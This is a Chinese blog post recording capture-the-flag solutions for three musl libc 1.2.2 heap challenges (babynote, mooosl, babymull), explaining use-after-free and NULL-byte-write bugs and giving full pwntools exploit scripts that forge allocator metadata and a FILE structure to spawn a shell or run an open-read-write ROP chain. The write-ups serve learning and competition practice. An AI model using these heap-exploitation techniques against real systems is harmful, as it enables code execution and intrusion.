【musl-pwn】msul-pwn 刷题记录 -- musl libc 1.2.2

前言

本文不分析 musl libc 相关源码,仅仅为刷题记录,请读者自行学习相关知识(看看源码就行了,代码量也不大)

starCTF2022_babynote

保护:保护全开

程序与漏洞分析:

程序实现了一个菜单堆,具有增删查丢的功能,其主要维护着以下结构:

增加时采用的头插法。然后查看功能是从链表头 bss_ptr 遍历该链表,比对 name 找到指定对应的结构,然后输出其 content。删除操作同理也是比对 name,然后依次释放 name_ptr,content_ptr 与控制堆块本身,但是其存在一些问题:

可以看到如果链表中存在两个元素,那么删除最后一个元素时并没有进行脱链操作,这里就导致了 UAF。

除此之外,程序还给了一个丢的功能:

这里直接将 bss_ptr 给置空了。

漏洞利用:

 musl libc 目前主要的利用手法就是打 dequeue 中的 unlink,然后劫持 IO 控制程序执行流。

所以总体如下:

        1)泄漏 libc

        2)泄漏 chunk_addr -> group -> meta -> meta_area -> secret

        3)伪造 meta_area -> meta -> group -> chunk,伪造 io_file

        4)释放伪造的 chunk,修改 __stderr_used 为 fake_io_file

        5)然后执行 exit 劫持程序执行流

其实就是一些堆风水的工作,挺无聊的说实话,记录一下关键点吧。

1)泄漏 libc / chunk_addr

这里主要就是通过堆风水形成如下结构:一个堆块即是控制堆块又是一个 content 堆块。如果 size足够大的话,其就会使用 mmap 分配空间,这个跟 libc 有固定偏移。

这里我们可以利用第一个元素去泄漏第二个元素的 name_ptr 和 content_ptr(这里的布局不一定如图所示,这里就是画了一个草图,根据自己的堆风水而定)

2)泄漏 secret,这个是后面伪造 meta_area 用的

也是通过堆风水去修改 content_ptr 的值实现任意地址读。由于在第1)步中我们泄漏了 name_ptr 这个堆指针,所以可以根据其与 group 的偏移计算出 group 的地址,从而泄漏 meta,泄漏了 meta,其 meta&-4096 就是 meta_area,这里可以泄漏 secret 了

3)相关伪造操作

这里其实没啥好说的,直接在 content 上面伪造就行了,将 content 的大小搞大一点,这里就会调用 mmap 分配,而 libc 地址又是知道的,所以伪造的相关地址也是知道的。一些填充值直接调试填就好了。但是需要注意的是:meta_area 地址必须是页对齐的,chunk 地址必须是8字节对齐的

4)释放伪造的 chunk

修改 content_ptr 为 fake_chunk_addr 即可

在进行堆风水的时候最好开始的时候保留一个 chunk,不然测试发现后面会切换到其他 meta。

exp 如下:

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(arch = 'amd64', os = 'linux')
#context(arch = 'i386', os = 'linux')
#context.log_level = 'debug'

io = process("./pwn")
elf = ELF("./pwn", checksec=False)
libc = elf.libc

def debug():
        gdb.attach(io)
        pause()

sd     = lambda s    : io.send(s)
sda    = lambda s, n : io.sendafter(s, n)
sl     = lambda s    : io.sendline(s)
sla    = lambda s, n : io.sendlineafter(s, n)
rc     = lambda n    : io.recv(n)
rl     = lambda      : io.recvline()
rut    = lambda s    : io.recvuntil(s, drop=True)
ruf    = lambda s    : io.recvuntil(s, drop=False)
addr4  = lambda n    : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
addr8  = lambda n    : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
addr32 = lambda s    : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s    : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
byte   = lambda n    : str(n).encode()
info   = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
sh     = lambda      : io.interactive()
menu   = b'option: '

def add(name, data, name_size=None, data_size=None):
        sla(menu, b'1')
        if name_size is None: name_size=len(name)
        if data_size is None: data_size=len(data)
        sla(b'name size: ', byte(name_size))
        sda(b'name: ', name)
        sla(b'note size: ', byte(data_size))
        sda(b'note content: ', data)

def find(name, name_size=None):
        sla(menu, b'2')
        if name_size is None: name_size=len(name)
        sla(b'name size: ', byte(name_size))
        sda(b'name: ', name)

def dele(name, name_size=None):
        sla(menu, b'3')
        if name_size is None: name_size=len(name)
        sla(b'name size: ', byte(name_size))
        sda(b'name: ', name)

def forget():
        sla(menu, b'4')

def eexit():
        sla(menu, b'5')

def leak_addr():
        addr = 0
        for i in range(8):
                addr |= int(rc(2), 16) << (8*i);
        return addr

#gdb.attach(io, 'b *$rebase(0x00000000000016A1)')
#gdb.attach(io, 'b *$rebase(0x00000000000018BE)')

add(b'A', b'X')
for _ in range(8):
        find(b'B'*0x20)
forget()
add(b'B', b'1'*0x20)

for _ in range(5):
        find(b'C'*0x20)
add(b'C', b'2'*0x20)
dele(b'B')
add(b'X', b'A'*0x1000)
find(b'B')
rut(b':')

group_0x10 = leak_addr() - 0x60
libc_base = leak_addr() + 0x3fe0
info("group_0x10", group_0x10)
info("libc_base", libc_base)

for _ in range(5):
        find(b'C'*0x20)

pay = p64(group_0x10+0x50) + p64(group_0x10) + p64(1) + p64(0x20)
find(pay)
find(b'B')

rut(b':')
meta_0x10 = leak_addr()
meta_area_0x10 = meta_0x10 & (-4096)
info("meta_0x10", meta_0x10)
info("meta_area_0x10", meta_area_0x10)

for _ in range(5):
        find(b'D'*0x20)

pay = p64(group_0x10+0x50) + p64(meta_area_0x10) + p64(1) + p64(0x20)
find(pay)
find(b'B')
rut(b':')
secret = leak_addr()
info("secret", secret)

libc.address = libc_base
binsh = next(libc.search(b'/bin/sh\x00'))
system = libc.sym.system
stderr_used = libc.sym.__stderr_used
info("binsh", binsh)
info("system", system)
info("__stderr_used", stderr_used)

for _ in range(4):
        find(b'M'*0x20)

fake_addr = libc_base - 0x2aa0
fake_meta_area_addr = fake_addr + 0xaa0
fake_meta_addr = fake_meta_area_addr + 0x18
fake_group_addr = fake_addr
fake_chunk_addr = fake_addr + 0x10
fake_io_file_addr = fake_addr + 0x300

info("fake_meta_area_addr", fake_meta_area_addr)
info("fake_meta_addr", fake_meta_addr)
info("fake_group_addr", fake_group_addr)
info("fake_chunk_addr", fake_chunk_addr)
info("fake_io_file_addr", fake_io_file_addr)

last_idx, sizecalss, maplen = 5, 3, 1
union = last_idx | (1<<5) | (sizecalss<<6) | (maplen<<12)
fake_meta_area = p64(secret) + p64(0) + p64(4)
fake_meta = p64(fake_io_file_addr) + p64(stderr_used) + p64(fake_group_addr) + p32(62) + p32(0) + p64(union)
fake_group = p64(fake_meta_addr) + p32(last_idx) + p32((0x80<<8)) + b'A'*0x30 + b'\x00'*0x10

fake_io_file = b'/bin/sh\x00'.ljust(0x28, b'\x00') + p64(1) + p64(0)*3 + p64(system)

pay0 = p64(group_0x10+0x10) + p64(fake_chunk_addr) + p64(1) + p64(0x20)
pay1 = fake_group.ljust(0x300, b'A') + fake_io_file
pay1 = pay1.ljust(0xaa0, b'\x00') + fake_meta_area + fake_meta
pay1 = pay1.ljust(0x1000, b'B')

add(pay0, pay1)
dele(b'A')
#pause()
eexit()
sh()

效果如下:

defcon2021_mooosl

starCTF2022_babynote 这题其实就是根据这题改编的。

保护:保护全开

程序与漏洞分析:

程序实现了一个菜单堆,具有增删查的功能,其主要维护着以下结构:

增加功能就是根据指定的 index 找到对应的链表,然后利用头插法插入。查操作也是先根据 index 找到对应的链表,然后遍历链表对比 key 找到对应的结构,然后输出其 value 数据。

漏洞在删除操作中,删除操作也是先通过 index 找到对应链表,然后遍历链表对比 key 进行脱链删除操作,但是这里存在的问题是当一个链表中存在2个以上的元素并且删除最后一个时没有进行脱链操作,导致UAF。

漏洞利用:

漏洞利用跟上一题差不多,没啥好说的,毕竟上一题就是这一题改编的。

exp 如下:

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(arch = 'amd64', os = 'linux')
#context(arch = 'i386', os = 'linux')
#context.log_level = 'debug'

io = process("./pwn")
elf = ELF("./pwn", checksec=False)
libc = elf.libc

def debug():
        gdb.attach(io)
        pause()

sd     = lambda s    : io.send(s)
sda    = lambda s, n : io.sendafter(s, n)
sl     = lambda s    : io.sendline(s)
sla    = lambda s, n : io.sendlineafter(s, n)
rc     = lambda n    : io.recv(n)
rl     = lambda      : io.recvline()
rut    = lambda s    : io.recvuntil(s, drop=True)
ruf    = lambda s    : io.recvuntil(s, drop=False)
addr4  = lambda n    : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
addr8  = lambda n    : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
addr32 = lambda s    : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s    : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
byte   = lambda n    : str(n).encode()
info   = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
sh     = lambda      : io.interactive()
menu   = b'option: '

def add(key, value, key_size=None, value_size=None):
        sla(menu, b'1')
        if key_size is None: key_size=len(key)
        if value_size is None: value_size=len(value)
        sla(b'key size: ', byte(key_size))
        sda(b'key content: ', key)
        sla(b'value size: ', byte(value_size))
        sda(b'value content: ', value)

def show(key, key_size=None):
        sla(menu, b'2')
        if key_size is None: key_size=len(key)
        sla(b'key size: ', byte(key_size))
        sda(b'key content: ', key)

def dele(key, key_size=None):
        sla(menu, b'3')
        if key_size is None: key_size=len(key)
        sla(b'key size: ', byte(key_size))
        sda(b'key content: ', key)

def eexit():
        sla(menu, b'4')

def leak_addr():
        addr = 0
        for i in range(8):
                addr |= int(rc(2), 16) << (8*i);
        return addr

def get_index(key):
        mul = 2021
        for ch in key:
                mul = 0x13377331*mul + ord(ch)
        return mul&0xffffffff

def get_key(key):
        i = 0
        index = get_index(key) & 0xfff
        while True:
                if (get_index(str(i))&0xfff) == index and str(i) != key:
                        return str(i).encode()
                i += 1

#gdb.attach(io, 'b *$rebase(0x00000000000018BE)')

add(b'A', b'B')
for _ in range(5):
        show(b'P'*0x30)

add(b'B', b'B'*0x30)
add(get_key('B'), b'B')
dele(b'B')

for _ in range(3):
        show(b'P'*0x30)

add(b'C', b'C'*0x1000)
show(b'B')
rut(b':')
group_0x10 = leak_addr() - 0x70
libc_base = leak_addr() + 0x3fe0
info("group_0x10", group_0x10)
info("libc_base", libc_base)

for _ in range(3):
        show(b'P'*0x30)

pay = p64(group_0x10+0x30) + p64(group_0x10) + p64(1) + p64(0x30) + p64(0xb4c06217) + p64(0)
show(pay)
show(b'B')
rut(b':')
meta_0x10 = leak_addr()
meta_area_0x10 = meta_0x10 & (-4096)
info("meta_0x10", meta_0x10)
info("meta_area_0x10", meta_area_0x10)

for _ in range(3):
        show(b'P'*0x30)

pay = p64(group_0x10+0x30) + p64(meta_area_0x10) + p64(1) + p64(0x30) + p64(0xb4c06217) + p64(0)
show(pay)
show(b'B')
rut(b':')
secret = leak_addr()
info("secret", secret)

libc.address = libc_base
system = libc.sym.system
stderr_used = libc.sym.__stderr_used
info("system", system)
info("__stderr_used", stderr_used)

for _ in range(2):
        show(b'P'*0x30)

fake_addr = libc_base - 0x2aa0
fake_meta_area_addr = fake_addr + 0xaa0
fake_meta_addr = fake_meta_area_addr + 0x18
fake_group_addr = fake_addr
fake_chunk_addr = fake_addr + 0x10
fake_io_file_addr = fake_addr + 0x300

info("fake_meta_area_addr", fake_meta_area_addr)
info("fake_meta_addr", fake_meta_addr)
info("fake_group_addr", fake_group_addr)
info("fake_chunk_addr", fake_chunk_addr)
info("fake_io_file_addr", fake_io_file_addr)

last_idx, sizecalss, maplen = 5, 3, 1
union = last_idx | (1<<5) | (sizecalss<<6) | (maplen<<12)
fake_meta_area = p64(secret) + p64(0) + p64(4)
fake_meta = p64(fake_io_file_addr) + p64(stderr_used) + p64(fake_group_addr) + p32(62) + p32(0) + p64(union)
fake_group = p64(fake_meta_addr) + p32(last_idx) + p32((0x80<<8)) + b'A'*0x30 + b'\x00'*0x10
fake_io_file = b'/bin/sh\x00'.ljust(0x28, b'\x00') + p64(1) + p64(0)*3 + p64(system)

key = p64(group_0x10+0x20) + p64(fake_chunk_addr) + p64(1) + p64(0x30) + p64(0xb4c06217) + p64(0)
value = fake_group.ljust(0x300, b'A') + fake_io_file
value = value.ljust(0xaa0, b'\x00') + fake_meta_area + fake_meta
value = value.ljust(0x1000, b'B')

add(key, value)
dele(b'B')
eexit()
#debug()
sh()

效果如下:

babymull

这个题目跟之前的有一点不同,之前我们都是伪造 fake_chunk 然后根据 fake_chunk 伪造 fake_goup,进而伪造 fake_meta 和 fake_meta_area。但是这个题目我们不伪造 fake_chunk,我们知道 chunk 是根据 offset 找到的 group,所以如果我们能够修改 chunk 的 offset,便可以劫持 group,从而伪造 fake_group 后面就都是一样的了。

保护:保护全开,并且有沙箱

题目实现了一个菜单堆, 具有增删查的功能,并且还给了一个后门函数。其中查和后门都只能执行一次。题目主要维护着以下结构:

先来看下 show 功能:

可以看到这里用 %s 输出 name,所以如果能够将 name 填满,则会将 data_ptr 指针输出。而 data 的大小在 [1,0x1000] 之间,所以其可能是一个 mmap 分配的空间,所以可以用来泄漏 libc。

但是在 add 时填充 name 时最多输入15个字符: 

但是这里存在问题,这里memcpy不会在最后填上\x00,所以可以利用堆块本身残余的字符将name这16个字节填满。

在后门函数中存在任意地址泄漏和任意地址写一字节NULL:

因为后面要伪造meta_area,所以得泄漏secret,怎么泄漏呢?在上面两题我们是通过先泄漏group,然后泄漏meta,进而泄漏meta_area,然后去泄漏meta_area中secret(其实这里做麻烦了,呜呜呜)。但是我们知道malloc_context是全局的,并且在libc中,所以在泄漏了libc后,可以直接去泄漏malloc_context中的secret。所以利用后门可以直接泄漏secret。

删除操作本身不存在漏洞,所以现在就只有后门中的一字节任意地址写NULL这个漏洞了。利用思路如下:

堆风水形成如下布局:(这个算不上堆风水,先后申请两个0x1000的堆块就行,为啥是0x1000呢?方便我们在里面伪造相应的结构体,并且0x1000的堆块是mmap分配的,所以其地址相当于已知)

利用后门函数修改 chunk2 的 offset 字段的低字节为0,这样当释放chunk2时,其会根据 group_addr = chunk2_addr - 0x10 - 0x10*offset 找到 group,这时侯由于 offset 变小了(测试就是变小了),所以 group_addr 就会落在 chunk1 中,所以可以在chunk1中伪造group,后面伪造meta/meta_area 啥的就是如出一辙了。

坑点:chunk2每释放一次,其chunk2_addr就往下走0x10,chunk1一样,不知道啥原因。由于这个害的我调试调了好久,悲......

exp 如下:

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(arch = 'amd64', os = 'linux')
#context(arch = 'i386', os = 'linux')
#context.log_level = 'debug'

io = process("./pwn")
elf = ELF("./pwn")
libc = elf.libc

def debug():
        gdb.attach(io)
        pause()

sd     = lambda s    : io.send(s)
sda    = lambda s, n : io.sendafter(s, n)
sl     = lambda s    : io.sendline(s)
sla    = lambda s, n : io.sendlineafter(s, n)
rc     = lambda n    : io.recv(n)
rut    = lambda s    : io.recvuntil(s, drop=True)
ruf    = lambda s    : io.recvuntil(s, drop=False)
addr   = lambda n    : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
addr32 = lambda s    : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s    : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
byte   = lambda n    : str(n).encode()
info   = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
sh     = lambda      : io.interactive()
menu   = b'Your choice >> '
def add(content, size=None, name=b'A'*0xF):
        sla(menu, b'1')
        sda(b'Name: ', name)
        if size is None: size = len(content)
        sla(b'Size: ', byte(size))
        if size == len(content): sda(b'Content: ', content)
        else: sla(b'Content: ', content)

def dele(idx):
        sla(menu, b'2')
        sla(b'Index: ', byte(idx))

def show(idx):
        sla(menu, b'3')
        sla(b'Index: ', byte(idx))

def exit():
        sla(menu, b'4')

def backdoor(addr0, addr1):
        sla(menu, b'1932620593')
        sl(byte(addr0))
        sleep(0.1)
        sl(byte(addr1))

for _ in range(5):
        add(b'B'*0x20)
dele(0)
#dele(1)
add(b'A', 0x1000) # 0
add(b'B', 0x1000) # 5
show(5)
rut(b'Name:')
rc(0x10)
libc.address = addr64(b' C') + 0x2aa0
info('libc_base', libc.address)
o = libc.sym.open
r = libc.sym.read
w = libc.sym.write
rdi = libc.address + 0x0000000000015536  # pop rdi ; ret
rsi = libc.address + 0x000000000001b3a9  # pop rsi ; ret
rdx = libc.address + 0x00000000000177c7  # pop rdx ; ret
gadget = libc.address + 0x000000000004bcf3 # mov rsp, qword ptr [rdi + 0x30]; jmp qword ptr [rdi + 0x38];
malloc_context = libc.sym.__malloc_context
stderr = libc.sym.__stderr_used

info('open', o)
info('read', r)
info('write', w)
info('__malloc_context', malloc_context)
info('__stderr_used', stderr)

change_byte_by_zero_addr = libc.address - 0x2aa0 + 0x8 + 0x6
fake_file_addr = libc.address - 0x2aa0 + 0x10
fake_meta_area_addr = libc.address - 0x2aa0 - 0x560
fake_meta_addr = fake_file_addr + 0x100
fake_group_addr = libc.address - 0x2aa0 - 0x100*16 - 0x10 + 0x10
fake_group_to_first_chunk_offset = 0x530
fake_meta_area_to_first_chunk_offset = 0xfe0
end_to_second_chunk_offset = 0xfdc

info('change_byte_by_zero_addr', change_byte_by_zero_addr)
info('fake_file_addr', fake_file_addr)
info('fake_meta_area_addr', fake_meta_area_addr)
info('fake_meta_addr', fake_meta_addr)
info('fake_group_addr', fake_group_addr)

fake_stack = fake_file_addr + 0x200
flag_str = fake_file_addr
flag_buf = fake_file_addr + 0x300

union = 1 + (1<<5) + (27<<6) + (4<<12)
fake_file = b'./flag\x00\x00' + p64(0)*5 + p64(fake_stack) + p64(rdi) + p64(0) + p64(gadget)
fake_meta = p64(fake_file_addr) + p64(stderr) + p64(fake_group_addr) + p64(1) + p64(union)
fake_group = p64(fake_meta_addr) + p64(1) + p64(0)

orw = p64(flag_str) + p64(rsi) + p64(0) + p64(o)
orw+= p64(rdi) + p64(3) + p64(rsi) + p64(flag_buf) + p64(rdx) + p64(0x30) + p64(r)
orw+= p64(rdi) + p64(1) + p64(rsi) + p64(flag_buf) + p64(rdx) + p64(0x30) + p64(w)
dele(5)
pay = fake_file.ljust(0x100, b'\x00') + fake_meta
pay = pay.ljust(0x200, b'\x00')
pay+= orw
pay = pay.ljust(0xfd8, b'\x00')
pay+= p64(5)
print(hex(len(pay)))
add(pay, 0x1000) # 5
backdoor(change_byte_by_zero_addr, malloc_context)
secret = int(rc(18), 16)
info('secret', secret)
fake_meta_area = p64(secret).ljust(0x10, b'\x00')

dele(0)
pay = b'\x00'*0x530 + fake_group
pay = pay.ljust(0xfd0, b'\x00') + fake_meta_area
print(hex(len(pay)))
add(pay, 0x1000) # 0
#gdb.attach(io, 'b *$rebase(0x0000000000001862)')
#pause()
dele(5)
exit()
#debug()
sh()

效果如下:

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/224401.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

第3章:知识表示:概述、符号知识表示、向量知识表示

&#x1f497;&#x1f497;&#x1f497;欢迎来到我的博客&#xff0c;你将找到有关如何使用技术解决问题的文章&#xff0c;也会找到某个技术的学习路线。无论你是何种职业&#xff0c;我都希望我的博客对你有所帮助。最后不要忘记订阅我的博客以获取最新文章&#xff0c;也欢…

Python 从入门到精通 学习笔记 Day01

Python 从入门到精通 第一天 今日目标 计算机组成原理、编程语言、Python环境安装 第一个Python程序、PyCharm的安装与使用 Python的基础语法、Python的基本数据类型 一、计算机组成原理 计算机的组成 计算机硬件通常由以下几个部分组成: 1.中央处理器(CPU):负责执行计算机…

HarmonyOS4.0从零开始的开发教程03初识ArkTS开发语言(中)

HarmonyOS&#xff08;二&#xff09;初识ArkTS开发语言&#xff08;中&#xff09;之TypeScript入门 浅析ArkTS的起源和演进 1 引言 Mozilla创造了JS&#xff0c;Microsoft创建了TS&#xff0c;Huawei进一步推出了ArkTS。 从最初的基础的逻辑交互能力&#xff0c;到具备类…

Docker-多容器应用

一、概述 到目前为止&#xff0c;你一直在使用单个容器应用。但是&#xff0c;现在您将 MySQL 添加到 应用程序堆栈。经常会出现以下问题 - “MySQL将在哪里运行&#xff1f;将其安装在同一个 容器还是单独运行&#xff1f;一般来说&#xff0c;每个容器都应该做一件事&#x…

题目分析,高度理解一维二维数组的申请和[]是什么运算符

第0题: 动态申请二维数组并输出非负数和 和负数出现次数 思路:输入数组大小,然后申请内存并不对其初始化,提高速度,传入数据到申请的数组中,判断如果数组中有元素小于0对其进行计数,否则加上非0数最后输出答案,释放内存 第一题: 解答: 运行结果: 思路分析: 创建长度为20的…

聚观早报 |东方甄选将上架文旅产品;IBM首台模块化量子计算机

【聚观365】12月6日消息 东方甄选将上架文旅产品 IBM首台模块化量子计算机 新思科技携手三星上新兴领域 英伟达与软银推动人工智能研发 苹果对Vision Pro供应商做出调整 东方甄选将上架文旅产品 东方甄选宣布12月10日将在东方甄选APP上线文旅产品&#xff0c;受这一消息影…

【算法】算法题-20231207

这里写目录标题 一、共同路径二、数字列表排序三、给定两个整数 n 和 k&#xff0c;返回 1 … n 中所有可能的 k 个数的组合。 一、共同路径 给你一个完整文件名组成的列表&#xff0c;请编写一个函数&#xff0c;返回他们的共同目录路径。 # nums[/hogwarts/assets/style.cs…

1-Tornado的介绍

1 tornado的介绍 **Tornado**是一个用Python编写的可扩展的、无阻塞的**Web应用程序框架**和**Web服务器**。 它是由FriendFeed开发使用的&#xff1b;该公司于2009年被Facebook收购&#xff0c;而Tornado很快就开源了龙卷风以其高性能着称。它的设计允许处理大量并发连接&…

4.Java程序设计-基于springboot得在线考试系统

编程技术交流、源码分享、模板分享、网课分享 企鹅&#x1f427;裙&#xff1a;772162324 摘要&#xff1a; 本文设计并实现了一款基于Spring Boot框架的在线考试系统小程序。随着远程学习和在线教育的普及&#xff0c;对于灵活、便捷的在线考试系统的需求逐渐增加。该小程序…

零基础小白怎么准备蓝桥杯-蓝桥杯竞赛经验分享

零基础小白怎么准备蓝桥杯-蓝桥杯竞赛经验分享 前言竞赛简介竞赛目的如何备战1.基础学习2.实战训练&#xff08;非常重要&#xff09; 资料分享 前言 博主在蓝桥杯中获得过十四届Java B 组的省一国二&#xff0c;本文为大家介绍一下蓝桥杯并分享一下自己的参赛经验。 竞赛简介…

流量异常-挂马造成百度收录异常关键词之解决方案(虚拟主机)

一.异常现象&#xff1a;流量突然暴涨&#xff0c;达到平时流量几倍乃至几十倍&#xff0c;大多数情况下因流量超标网站被停止。 二.排查原因&#xff1a; 1.首先分析web日志&#xff1a;访问量明显的成倍、几十倍的增加&#xff1b;访问页面不同&#xff1b;访问IP分散并不固…

阿里云上传文件出现的问题解决(跨域设置)

跨域设置引起的问题 起因&#xff1a;开通对象存储服务后&#xff0c;上传文件限制在5M 大小&#xff0c;无法上传大文件。 1.查看报错信息 2.分析阿里云服务端响应内容 <?xml version"1.0" encoding"UTF-8"?> <Error><Code>Invali…

27. 深度学习进阶 - 为什么RNN

文章目录 一个柯基的例子为什么RNN or CNN Hi&#xff0c;你好。我是茶桁。 这节课开始&#xff0c;我们将会讲一个比较重要的一种神经网络&#xff0c;它对应了咱们整个生活中很多类型的一种问题结构&#xff0c;它就是咱们的RNN网络。 咱们首先回忆一下&#xff0c;上节课咱…

zookeeper集群介绍

一个leader&#xff0c;多个follower&#xff0c;组成的集群 集群中只要有半数以上得节点存活&#xff0c;zookeeper集群就能正常服务 顺序一致性&#xff1a; 来自同一个client的更新请求按其发送顺序依次执行 原子性&#xff1a; 更新操作要么成功要么失败&#xff0c; 没有…

zookeeper1==zookeeper源码阅读,源码启动ZK集群

下载源码 Tags apache/zookeeper GitHub https://codeload.github.com/apache/zookeeper/zip/refs/tags/release-3.9.1 JDK8 MAVEN3.8.6 mvn -DskipTeststrue package 配置ZK1 zkServer.cmd中指出了启动类是 QuorumPeerMain QuorumPeer翻译成集群成员比较合理&#xf…

一文读懂MySQL基础知识文集

&#x1f3c6;作者简介&#xff0c;普修罗双战士&#xff0c;一直追求不断学习和成长&#xff0c;在技术的道路上持续探索和实践。 &#x1f3c6;多年互联网行业从业经验&#xff0c;历任核心研发工程师&#xff0c;项目技术负责人。 &#x1f389;欢迎 &#x1f44d;点赞✍评论…

实战演练 | 在 Navicat 中格式化日期和时间

Navicat 支持团队收到来自用户常问的一个问题是&#xff0c;如何将网格和表单视图中的日期和时间进行格式化。其实这个很简单。今天&#xff0c;我们将介绍在 Navicat Premium 中进行全局修改日期和时间格式的步骤。 如果你想边学边用&#xff0c;欢迎点击 这里 下载免费全功能…

cookie 与 session

参考&#xff1a;Cookie和Session详解 1、cookie 1.1、从视图函数设置cookie login_action视图函数中&#xff0c;添加浏览器cookie&#xff1b;event_manage视图中&#xff0c;从浏览器获取cookie。如下&#xff1a; # jk_app/views.py 文件 from django.shortcuts import r…

Zabbix自定义飞书webhook告警媒介1

说明&#xff1a;此配置仅适用于7版本及以上&#xff0c;低版本可能有问题 JavaScript 内容如下&#xff1a; try {var sourceData JSON.parse(value),req new HttpRequest(),response;if (sourceData.HTTPProxy) {req.setProxy(sourceData.HTTPProxy);}req.addHeader(Conte…